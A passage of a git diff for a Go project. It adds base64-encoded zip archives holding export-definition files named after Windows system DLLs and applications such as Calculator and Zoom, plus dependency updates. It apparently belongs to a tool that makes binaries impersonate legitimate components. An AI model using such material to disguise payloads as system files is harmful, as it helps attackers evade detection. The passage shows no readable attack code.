bIjUJglgWQFAazbICkCJgF8p4omOUC1+EBZ/nAWQFwll5aZk4q1F///jMwpDOmJWbDBKAgLzE3FRZeLGBdiWmlecnFkBCDioAUFUPCDyaSX5RSDAlNiEieISL8oCJGUBsQIsawOIWLmEBEpsBFkNMYKP6YGTHjCDl9MeFSg5S2mHGpQUpXYNsZQSmLB0MdCxKbCUyKYYhooIiAYp0BRQQUj+SmIQBQSwMEFAAAAAgAhZZoVDaPzLJVAQAAjAMAAAsAHABodHRwYXBpLmV4cFVUCQAD2qUnYvjgKGJ1eAsAAQToAwAABOgDAACdkjtOw0AQhmdjlykQj1QUKZBIZfFIQUERiUhQRCIK0FGwjtchsJjIu0GUVJwgRS7ADTgABafgMMDOrL2xZYVIrPSvf3+afc1M9OoDjk8G0CDnQ6DFs4a/RxP6N0HENV8R14H+RxAqtSIMXjBOlDecG70b9Zj9r9N+ex30X2+7IX5bRoxubdU26hpdGt1qPeGTcRBJWTnv2iihcwFmRBjUwIOulKdCn0iu1Hl4J4YayUCMxkqL9EKkTyJFcpWkZTaYJnS/NSMPtp1rOrfjHN5xndyRmTfIHZt5kxw+b4tc1604c67nXN+5IB5Lkb3r+wdgxGJ+n4NsJPxB5PnyaRWPp8lQ2YxlBIOUzV9OHtNI2Wxakuwv8peRg+yEBTnMa+pI25KZI8Uew/p5rFIiKPZXbVlMobe8ZTGFvqLTGXZWvRLnF3yN5kaFtEoEqw4lgnX8bw/9AlBLAwQUAAAACACFlmhUiBHnflcBAACQAwAADQAcAGxpYmNyeXB0by5leHBVVAkAA9qlJ2L44ChidXgLAAEE6AMAAAToAwAAnZK7TsMwFIaPm4wdEJdODB2Q6BRxGxgYKlGJDkhEBSTGOolbFUyKbBfBxlDxDB1YeQMegJFn4GEAHztxEpVSCUu/8+fT8e2ckzz7gOODADSM8yFQ7EHB36MJYT9IqKJL4toQvgeRlEvC4AnjWHXDF603rZDY/7rZb6eN/vN1O8JvS4uYW1sdanW1rrT4KIrF450aBwnnv5zZ1xJaU62ZIQRq4EGH8xOmjjmV8iy6ZrFC0mPDkVRMnDNxzwSSy1RUWW+SmjuuaHmw6VzTuS3n8J6rxh3pec04fNi6cR09bxjXdStOnQudu3AuGIw4y9719Q0wJAN6k4NspPSW5TnzzSo6mKSxtFnLCAZJm8OcjEUibUYtSXeL/GVkzxJRkH1LpgU5sGTmSLnPsIYema9Rucdqi2JK/eUtiin1ljmdYHfV5+L8kq+ZuTFHWhWCVYcKwYr+t4d+AFBLAwQUAAAACACFlmhUPljFpVUBAACQAwAADAAcAG5ldGxvZ29uLmV4cFVUCQAD2qUnYvjgKGJ1eAsAAQToAwAABOgDAACdkrtOwzAUho+bjB0Ql04MHZDoFHEbGBgqUYkOSEQFJMamjRMVjCPZLmJkqHiGDqy8AQ/AyDPwMICPnTqJQqmEpd/58+n4ds6Jn33A8UEAWsb5ECj6qODv0YZwGMSRilbEdSF8D0ZSrgiDJ4yj1Q1ftN60QmL/m2a/vS76z9fdEX47WsTc2upYq691o8WpYlma8SBm7Lczh1pCa6Y1N4RAAzzoMXZG1SmLpLwY3dKxQjKg6UQqKi6peKACyTUXVTaYcnPHNS0Ptp1rO7fjHN5z3bgTPW8Yhw/bNK6n5y3j+m7FuXOhc1fOBcmE0fxdX98AKUmiuwXIB4/u6SJnvlkVJVM+ljZrOcEgaXO4IJmIpc2oJXy/yF9ODiwRBTm0ZFaQI0vmjpT7DGvokXqNyj3WWBZT6i9vWUypt8zpBLurWYvzS75h5laNdCoEqw4VghX9bw/9AFBLAwQUAAAACACFlmhU70WMClMBAACMAwAACgAcAHRjcG1vbi5leHBVVAkAA9qlJ2L44ChidXgLAAEE6AMAAAToAwAAnZI7TsNAEIZnY5cpEI9UFCmQSGXxSEFBEQlLUEQiCtBR4Mc6Cjgb5N0gSipOkCIX4AYcgIJTcBhgZ9be2LJCJFb6178/zb5mJn51AccnA2iRc8FT/FnB36MNgzsvDlSwJq4Hgw8vlHJNGLxgHK9uuNB61+oz89+k/Q566L/e9kP8drQY3dqoq+VrXWup6HEyFV6cpvXzbrUEnQswJ8KgAQ74aXrO1VkaSHkZ3vNIIRny0Vgqnl3x7IlnSG5EVmXDmaD7bWg5sGtd27o96/COm+RO9LxF7lTP2+TweTvkfLviwrq+dQPrvGSc8vxd3z8AI5YEDwXIhwgmvMiXS6uCZCYiaTKWEwySJn8FmWaxNNk0RBwu85eTo/yEJTkuampJ15C5JeUew/o5rF6jcn81VsWUestZFVPqKzqdYWc1a3FuyTdobtVIp0Kw6lAhWMf/9tAvUEsBAh4DFAAAAAgAhZZoVMb29G9TAQAAjAMAAAkAGAAAAAAAAAAAALSBAAAAAEFQTW9uLmV4cFVUBQAD2qUnYnV4CwABBOgDAAAE6AMAAFBLAQIeAxQAAAAIAIWWaFSiwCiRUgEAAIwDAAAJABgAAAAAAAAAAAC0gZYBAABiaXNydi5leHBVVAUAA9qlJ2J1eAsAAQToAwAABOgDAABQSwECHgMUAAAACACFlmhU2g/2NVQBAACMAwAACwAYAAAAAAAAAAAAtIErAwAAYnRwYW51aS5leHBVVAUAA9qlJ2J1eAsAAQToAwAABOgDAABQSwECHgMUAAAACACFlmhUBUFdKlQBAACMAwAACwAYAAAAAAAAAAAAtIHEBAAAY2VydGNsaS5leHBVVAUAA9qlJ2J1eAsAAQToAwAABOgDAABQSwECHgMUAAAACACFlmhU2ROyalMBAACMAwAACgAYAAAAAAAAAAAAtIFdBgAAY21kZXh0LmV4cFVUBQAD2qUnYnV4CwABBOgDAAAE6AMAAFBLAQIeAxQAAAAIAIWWaFQ2j8yyVQEAAIwDAAALABgAAAAAAAAAAAC0gfQHAABodHRwYXBpLmV4cFVUBQAD2qUnYnV4CwABBOgDAAAE6AMAAFBLAQIeAxQAAAAIAIWWaFSIEed+VwEAAJADAAANABgAAAAAAAAAAAC0gY4JAABsaWJjcnlwdG8uZXhwVVQFAAPapSdidXgLAAEE6AMAAAToAwAAUEsBAh4DFAAAAAgAhZZoVD5YxaVVAQAAkAMAAAwAGAAAAAAAAAAAALSBLAsAAG5ldGxvZ29uLmV4cFVUBQAD2qUnYnV4CwABBOgDAAAE6AMAAFBLAQIeAxQAAAAIAIWWaFTvRYwKUwEAAIwDAAAKABgAAAAAAAAAAAC0gccMAAB0Y3Btb24uZXhwVVQFAAPapSdidXgLAAEE6AMAAAToAwAAUEsFBgAAAAAJAAkA1gIAAF4OAAAAAA=="
+ }
+ if name == "dll.zip" {
+ base64string = "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"
+ }
+ if name == "excel.zip" {
+ base64string = "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"
+ }
+
dec, err := base64.StdEncoding.DecodeString(base64string)
if err != nil {
panic(err)
diff --git a/go.mod b/go.mod
index 18a386d..005ebed 100644
--- a/go.mod
+++ b/go.mod
@@ -11,5 +11,5 @@ require (
github.com/akavel/rsrc v0.10.2 // indirect
github.com/mattn/go-colorable v0.1.8 // indirect
github.com/mattn/go-isatty v0.0.12 // indirect
- golang.org/x/sys v0.0.0-20200223170610-d5e6a3e2c0ae // indirect
+ golang.org/x/sys v0.0.0-20220128215802-99c3d69c2c27 // indirect
)
diff --git a/go.sum b/go.sum
index a2c945b..be3aa06 100644
--- a/go.sum
+++ b/go.sum
@@ -16,8 +16,9 @@ github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+
github.com/stretchr/testify v1.6.1 h1:hDPOHmpOpP40lSULcqw7IrRb/u7w6RpDC9399XyoNd0=
github.com/stretchr/testify v1.6.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
golang.org/x/sys v0.0.0-20200116001909-b77594299b42/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
